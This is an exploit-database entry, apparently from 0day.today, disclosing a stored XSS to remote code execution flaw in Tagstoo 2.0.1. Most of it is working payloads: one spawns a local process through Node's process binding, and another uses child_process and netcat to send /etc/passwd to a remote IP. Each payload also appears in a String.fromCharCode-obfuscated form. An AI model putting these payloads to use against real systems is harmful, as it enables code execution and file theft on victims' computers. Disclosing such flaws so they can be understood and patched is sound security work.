作者

Taurus Omar

风险

[

安全风险级别 － 高

]

0day-ID

0day-ID-36192

类别

web applications

添加日期

05-05-2021

平台

multiple

# Exploit Title: Tagstoo 2.0.1 - Stored XSS to RCE
# Exploit Author: TaurusOmar
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
# Risk: High (8.8)
# Vendor Homepage: https://tagstoo.sourceforge.io/
# Version: v2.0.1
# Tested on: Windows, Linux, MacOs

# Software Description:
Software to tag folders and files, with multimedia and epubs preview.
You can export data with the tagging information to a file, as backup or to import it in any computer.

# Vulnerability Description:

The software allows you to store payloads in the form of files or custom tags, once the malicious code is entered, the payload will be executed immediately.

The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to the
the remote attacker to get remote execution on the computer or directly open the folder in the program.

# Proof video
https://imgur.com/a/smeAjaW


# Payload 1: exec(calc)

#Decode Payload
<script>
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'/usr/bin/gnome-calculator',cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});
</script>

#Encode Payload
<img src=x onerror=writeln(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>


# Payload 2: exec(netcat remote stolen file => /etc/passwd)

#Decode Payload

<audio src=x onerror="const exec= require('child_process').exec;
exec('nc -w 3 192.168.111.129 1337 < /etc/passwd', (e, stdout, stderr)=> { if (e instanceof Error) {
console.error(e); throw e; } console.log('stdout ', stdout);
console.log('stderr ', stderr);});
alert('1')">


#Encode Payload

<img src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62))>

#  0day.today [2024-07-04]  #